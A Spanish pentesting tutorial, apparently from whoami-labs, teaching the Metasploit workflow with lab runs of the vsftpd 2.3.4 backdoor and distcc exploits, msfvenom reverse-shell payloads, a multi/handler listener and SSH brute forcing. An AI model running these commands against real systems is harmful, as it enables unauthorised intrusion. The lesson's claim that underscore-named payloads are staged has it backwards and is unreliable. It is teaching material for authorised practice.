Metasploit Framework desde cero: módulos, sesiones y flujo de trabajo
· 10 min de lectura
Aprende qué es Metasploit, cómo se organiza (exploits, payloads, auxiliares, encoders, post), cómo funciona msfconsole, el flujo clásico de buscar, configurar y lanzar un exploit, y cómo entender sus límites en una auditoría profesional.
Metasploit Framework (MSF) es la plataforma de explotación más conocida del mundo. Fue creada por H. D. Moore en 2003 y hoy la mantiene Rapid7. Agrupa miles de módulos reutilizables (exploits, payloads, auxiliares, post-explotación, encoders) con una interfaz común, de forma que un operador puede pasar de descubrir una vulnerabilidad a conseguir una shell con unos pocos comandos.
Para alguien que empieza en pentesting, Metasploit es una excelente puerta de entrada: enseña el flujo clásico (reconocer, elegir exploit, configurar, lanzar, post-explotar) y permite ver cómo funcionan por dentro los ataques sin tener que escribir código. Para un profesional, es una herramienta más del cinturón: muy útil para automatizar, pero con límites claros frente a objetivos modernos.
En esta lección vas a ver qué es Metasploit, cómo se organiza, cómo se usa msfconsole, el flujo típico de un ataque y las trampas más comunes en las que caen los principiantes.
Usa Metasploit solo contra sistemas propios o entornos autorizados, como los laboratorios de whoami-labs. Lanzar exploits en sistemas ajenos sin permiso es un delito.
Qué es Metasploit#
Metasploit es un framework modular: una base común con miles de módulos que comparten interfaz, opciones y mecanismos de ejecución. Se instala por defecto en Kali Linux y también se descarga gratis desde la web de Rapid7 para otras distribuciones. La versión gratuita (Community) incluye prácticamente todo lo necesario; la de pago (Pro) añade consola web, informes y automatización empresarial.

Los tipos de módulos#
| Tipo | Qué hace | Ejemplo |
|---|---|---|
| exploit | Aprovecha una vulnerabilidad para ejecutar código | exploit/windows/smb/ms17_010_eternalblue |
| payload | El código que se ejecuta tras el exploit | windows/x64/meterpreter/reverse_tcp |
| auxiliary | Escaneo, enumeración, DoS, fuerza bruta | auxiliary/scanner/smb/smb_version |
| encoder | Transforma payloads para evadir detección simple | x86/shikata_ga_nai |
| nop | Rellena con instrucciones que no hacen nada | generic/none |
| post | Se ejecuta tras conseguir sesión | post/multi/gather/env |
| evasion | Payloads pensados para esquivar antivirus | Varios |
Un exploit se combina con un payload: el exploit abre la puerta, el payload entra por ella. El payload más famoso es Meterpreter, que tiene su propia lección en este bloque.
msfconsole: la interfaz#
Metasploit tiene varias interfaces (msfconsole, msfvenom, msfrpcd). La principal es msfconsole, una shell interactiva:
msfconsole
Tras unos segundos ves el prompt msf6 >. Los comandos esenciales:
| Comando | Qué hace |
|---|---|
search <palabra> | Busca módulos relevantes |
use <nombre> | Selecciona un módulo |
info | Muestra descripción, referencias y opciones |
show options | Lista opciones del módulo actual |
set <opción> <valor> | Configura una opción |
setg <opción> <valor> | Como set, pero global (para varios módulos) |
check | Comprueba si el objetivo es vulnerable sin explotar |
run o exploit | Lanza el módulo |
sessions | Lista sesiones abiertas |
sessions -i <id> | Interactuar con una sesión |
background | Deja la sesión en segundo plano |
help | Ayuda contextual |
Los nombres de módulos siguen la estructura tipo/plataforma/servicio/nombre. Autocompletar con Tab es tu amigo.
El flujo clásico de explotación#
Paso 1: reconocimiento#
Como en cualquier auditoría, empieza con Nmap. No busques «qué exploit tiene Metasploit para esta IP»: busca qué servicio corre, en qué versión, con qué configuración.
nmap -p- -sV -sC IP_DEL_LAB
Paso 2: buscar el módulo#
Supón que Nmap detectó vsftpd 2.3.4. En msfconsole:
msf6 > search vsftpd
Matching Modules
================
# Name Rank Description
- ---- ---- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor excellent VSFTPD v2.3.4 Backdoor Command Execution
El campo Rank indica fiabilidad del exploit (excellent, great, good, normal, average, low, manual). Prioriza los de rango alto.
Paso 3: cargar y revisar#
msf6 > use 0
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Verás las opciones típicas: RHOSTS (IP objetivo), a veces RPORT, y para payloads de tipo reverse, también LHOST y LPORT (tu IP y puerto para recibir la conexión).
Paso 4: configurar#
msf6 > set RHOSTS 192.168.100.10
msf6 > set LHOST 192.168.100.5
Paso 5: comprobar sin explotar#
Antes de lanzar, muchos módulos tienen check:
msf6 > check
[+] 192.168.100.10:21 - The target is vulnerable.
Paso 6: lanzar#
msf6 > run
[*] 192.168.100.10:21 - Banner: 220 (vsFTPd 2.3.4)
[+] 192.168.100.10:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened
Ya tienes sesión. Si es Meterpreter, dispondrás de comandos ricos; si es una shell básica, puedes estabilizar la TTY (lo tienes en su propia lección).
Payloads: inline, staged y reverse#
Hay dos ejes para entender los payloads:
Inline vs staged#
- Inline (un solo paso): todo el código se envía en un solo golpe. Más grande pero más robusto. Nombres sin
_. - Staged (dos pasos): primero un stager pequeño, luego descarga el resto. Funciona en menos espacio pero necesita red. Nombres con
_comowindows/meterpreter_reverse_tcp.
Reverse vs bind#
- Reverse: el objetivo conecta hacia ti. Requiere
LHOST. Pasa por firewalls de salida permisivos. - Bind: el objetivo escucha un puerto. Requiere que ese puerto sea accesible desde fuera (raro en servidores con firewall).
En laboratorios y en situaciones reales, los payloads reverse son los más usados, por los mismos motivos que ya viste en la lección de reverse shells.
Para generar payloads independientes (no durante un exploit, sino como ejecutables, scripts o documentos) hay otra herramienta: msfvenom, que tiene su propia lección.
Handlers: recibir sesiones fuera del contexto del exploit#
A veces el payload no se entrega durante un exploit automático sino por otra vía (una webshell, una subida de archivos insegura, ingeniería social con un documento). Para recibirlo, Metasploit tiene un módulo genérico llamado exploit/multi/handler:
msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.100.5
msf6 > set LPORT 4444
msf6 > run -j
Con -j el handler queda en segundo plano como un trabajo. Puedes lanzar varios handlers simultáneos para distintos payloads y recibir muchas sesiones.
Ejemplo completo: distcc en un laboratorio#
En uno de los laboratorios iniciales de whoami-labs, un escaneo muestra distccd 1.x en el puerto 3632. Es un servicio de compilación distribuida con una vulnerabilidad clásica:
msf6 > search distcc
msf6 > use exploit/unix/misc/distcc_exec
msf6 > set RHOSTS 192.168.100.20
msf6 > set LHOST 192.168.100.5
msf6 > check
[+] 192.168.100.20:3632 - The target is vulnerable.
msf6 > run
[*] Started reverse TCP handler on 192.168.100.5:4444
[*] 192.168.100.20:3632 - Command Stager progress - 100.00% done
[*] Command shell session 1 opened (192.168.100.5:4444 -> 192.168.100.20:XXXX)
$ id
uid=1(daemon) gid=1(daemon)
La shell obtenida corre como el usuario daemon. Desde ahí, el laboratorio continúa con enumeración manual y una escalada por SUID: Metasploit abrió la puerta, lo demás lo haces con las técnicas de otras lecciones.
Generación de payloads con msfvenom#
Cuando el payload tiene que viajar fuera de un exploit (porque lo entregas con una subida de archivos insegura, un correo o una USB), se genera con msfvenom. Es una herramienta separada de msfconsole pero del mismo framework:
# Payload ejecutable para Linux
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.100.5 LPORT=4444 -f elf -o shell.elf
# Payload en formato PowerShell para Windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.5 LPORT=4444 -f psh -o shell.ps1
# Payload en una línea para pegar en un formulario
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.100.5 LPORT=4444 -f raw
Los formatos más usados son elf, exe, psh, raw, python, war, php. En el lab tomcat de whoami-labs, por ejemplo, el camino clásico es generar un .war con msfvenom y desplegarlo con las credenciales del Tomcat Manager.
Aunque los antivirus modernos detectan al vuelo los payloads crudos de msfvenom (Meterpreter clásico es firmable sin problema), para laboratorios y para entender los conceptos funcionan perfectamente. En engagements reales, se usan plantillas personalizadas y cargadores más silenciosos que msfvenom; tienes una lección dedicada únicamente a msfvenom más adelante en este mismo bloque de /aprende, con casos prácticos y extra para principiantes.
Módulos auxiliares: más que explotación#
Los módulos auxiliary/ abarcan todo lo que no es exploit:
# Escaneo SMB
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.100.0/24
run
# Fuerza bruta SSH
use auxiliary/scanner/ssh/ssh_login
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
set RHOSTS 192.168.100.10
run
# Descubrir servicios inseguros
use auxiliary/scanner/mysql/mysql_version
Para reconocimiento, Metasploit no reemplaza a Nmap o nxc, pero sus auxiliares son muy útiles para pruebas puntuales dentro del mismo flujo.
Los límites de Metasploit en una auditoría profesional#
Metasploit es excelente para aprender y para situaciones concretas, pero no cubre todo:
| Limitación | Qué hacer en su lugar |
|---|---|
| EDR y antivirus modernos detectan Meterpreter clásico | Payloads personalizados, cargadores en C#, agentes como Sliver |
| Exploits viejos contra sistemas actualizados | Metasploit sirve para servidores olvidados; moderno cae con cadenas custom |
| Post-explotación limitada en Windows corporativo | Impacket, Rubeus, PowerView, nxc son más ligeros |
| Tráfico ruidoso en red | Agentes diseñados para OpSec (Mythic, Covenant) |
| Compatibilidad con Active Directory moderno | BloodHound + Impacket + Kerberos puro |
En los laboratorios tempranos de whoami-labs, Metasploit resuelve escenarios con un comando. En los avanzados, aparece como una pieza más dentro de una cadena que incluye enumeración manual y herramientas específicas.
Buenos hábitos al usar Metasploit#

- Workspaces: separa cada auditoría en su workspace (
workspace -a cliente_x). - Base de datos activa: con
db_statuscomprueba que PostgreSQL funciona. Importa escaneos de Nmap condb_import. - loot: cada credencial, hash o archivo valioso capturado queda en
~/.msf4/loot/para informar después. - Auto-exploit con precaución:
db_autopwnno existe desde hace años, pero las tentaciones de lanzar módulos en masa hacen caer sistemas en producción. - Logging:
spool /ruta/log.txtguarda toda la salida; imprescindible en auditorías profesionales. - No te saltes el
info: cada módulo tiene referencias, CVE y a veces instrucciones sobre configuraciones concretas.
Errores comunes#
- Lanzar exploits sin leer
info. Puedes tumbar el servicio o ejecutar algo que no esperabas. - Pensar que si un exploit falla, no hay vulnerabilidad. A veces son las opciones mal configuradas, no la máquina.
- Depender solo de Metasploit. Hay vulnerabilidades sin módulo oficial pero con PoC en GitHub.
- Ignorar el ranking. Un módulo
manualolowrequiere ajustes que no siempre están documentados. - No limpiar tras la auditoría.
lootacumula datos sensibles que hay que proteger o borrar.
Preguntas frecuentes#
¿Metasploit es legal?#
La herramienta sí. Usarla contra sistemas sin autorización no lo es. En laboratorios y entornos propios, uso libre.
¿Qué diferencia hay entre Community y Pro?#
Community es gratuita y cubre casi todo. Pro añade GUI web, informes automáticos, integración empresarial y soporte. Para aprender y para pentesting manual, Community basta.
¿Por qué check dice «vulnerable» pero el exploit falla?#
Porque check verifica solo condiciones básicas. Pueden faltar opciones específicas, filtros intermedios, protecciones del sistema o versiones ligeramente distintas. Lee info.
¿Vale la pena aprender Metasploit si uso Burp y Impacket?#
Sí: su enfoque modular y su catálogo de exploits viejos resuelven escenarios con un comando. Como primer paso en pentesting es muy pedagógico. En auditorías reales, convive con herramientas más específicas.
¿Dónde practico?#
En los laboratorios para principiantes enlazados al final de esta lección, muchos resuelven con uno o dos módulos de Metasploit y ayudan a familiarizarse con el flujo.
Resumen#
- Metasploit Framework agrupa miles de módulos (exploits, payloads, auxiliares, post, encoders) en una interfaz común.
- msfconsole es la shell interactiva; el flujo clásico es
search → use → set → check → run. - Los payloads se dividen en inline/staged y reverse/bind; reverse es el más habitual.
- Los auxiliares cubren escaneo, enumeración y fuerza bruta.
- En auditorías modernas, Metasploit convive con herramientas más específicas (Impacket, Rubeus, nxc, Sliver) según el objetivo.